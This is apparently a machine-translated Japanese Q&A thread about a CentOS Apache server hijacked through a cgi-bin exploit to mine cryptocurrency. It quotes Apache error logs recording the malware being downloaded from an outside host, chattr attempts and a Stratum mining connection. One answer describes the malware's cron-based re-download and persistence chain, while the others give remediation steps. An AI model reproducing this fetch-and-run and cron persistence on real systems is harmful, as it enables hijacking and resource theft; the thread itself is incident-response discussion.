web-dev-qa-db-ja.com

サーバーが乗っ取られた/ビットコインマイナーとして使用されている-これを停止するにはどうすればよいですか？

私は少し状況にあり、サーバーがハイジャックされ、ビットコインマイニング操作に関与しているようです。

私は少なくともどこから始めればよいかを知る必要があります。私は初心者のシステム管理者であり、これまで実際にこれに遭遇したことはありません。それは私の帯域幅を水から吹き飛ばしていて、私は私のホスティングプロバイダーによってGBあたり50cを請求されています、そしてこれのためにそれは1日で255GB-> 301.8GBに跳ね上がりました。どんな助けでも大歓迎です。

Stratumに関連するログや、サーバーに対して実行されている外部IPアドレスのスクリプトに多くのがらくたが見つかりました。次に、/ tmpディレクトリを調べると、7つのファイルがあります。

  • bash
  • cron.d
  • mech.dir
  • sh
  • spamd_full.sock
  • 更新

Apacheエラーログの内容の例は次のとおりです。

[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40--  http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]      0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... ..........  9%  148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]     50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19%  172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]    100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29%  344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39%  514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]  ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    300K .......... .......... .......... .......... .......... 69%  224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79%  347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88%  348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    450K .......... .......... .......... .......... .......... 98%  254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ...                                                100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
centosapache-http-serverbitcoin
4
Mud

まず、iptablesを使用して外部アドレスへの接続をブロックします

iptables -A OUTPUT -d IP_Address -j DROP

すべてのIPアドレスがブロックされていることを確認したら、iptablesを保存します：# /sbin/service iptables save次に、ハイジャック犯によって配置されたファイルをクリーンアップします。

/etc/var/log/messagesと/etc/var/log/secureを調べて、ハイジャック犯がサーバーの足掛かりをどのようにつかんだかを示すエントリが残っているかどうかを確認することをお勧めします。

Webサイトを実行している場合は、ユーザーがPHPシェル）のようなファイルをアップロードできるWebページがないことを確認してください。

これで始められるはずです。ホスティングプロバイダーにウイルス対策スキャンを実行して、アクセスを許可するスクリプト/ファイルを探すように依頼することもできます。

3
falconspy

ボットマイナーが接続していないため、エクスプロイトを再実行し、マイナーを何度もダウンロードし続けます。

最近、関連しているように見える不正なcgi-bin設定の悪用の試みを確認しました。

ダウンロードしようとしていました

74.208.228.113 / a

それをシェルスクリプトとして実行します。

そのスクリプトは、私たちがそれを見たときにいくつかのことを行い、crontabエントリを消去し、からプルされたスクリプトを実行する試みに置き換えました。

74.208.228.113 / update

また、同じスクリプトを/etc/cron.hourlyに配置します

そのスクリプトは「psx」を実行し、マイナー接続を成功させるためにgrepsを実行します。表示されない場合は、スクリプトを再度ダウンロードして再実行します。

スクリプトの最後で、それはつかみます

74.208.228.113 / clamav

そして

74.208.228.113 / sh

minerdの異なるコンパイルバージョンのように見えます。 clamavの名前をbashに変更してから、216.230.103.42で両方のマイニングを開始します。

したがって、同様の方法で悪用された場合は、次のことを行う必要があります。

  1. cgi-binを無効にする

  2. httpdを実行しているユーザー（rootまたはApacheなど）のcrontabを確認し、「update」エントリを削除します。

  3. /etc/cron.hourly/でupdateというファイルを確認し、マイナーが接続できない216.230.103.42を参照しているかどうかを確認します。それを削除して

帯域幅を使用しているのは、これらの更新エントリです。 crontabは、1分に1回、毎分実行されます。

しかし、より良い答えは軌道からそれを核兵器にすることだと思います。スクリプトを実行するリモートエクスプロイトを許可するようにcgi-binが設定されている場合、保証はありません。

1
user280772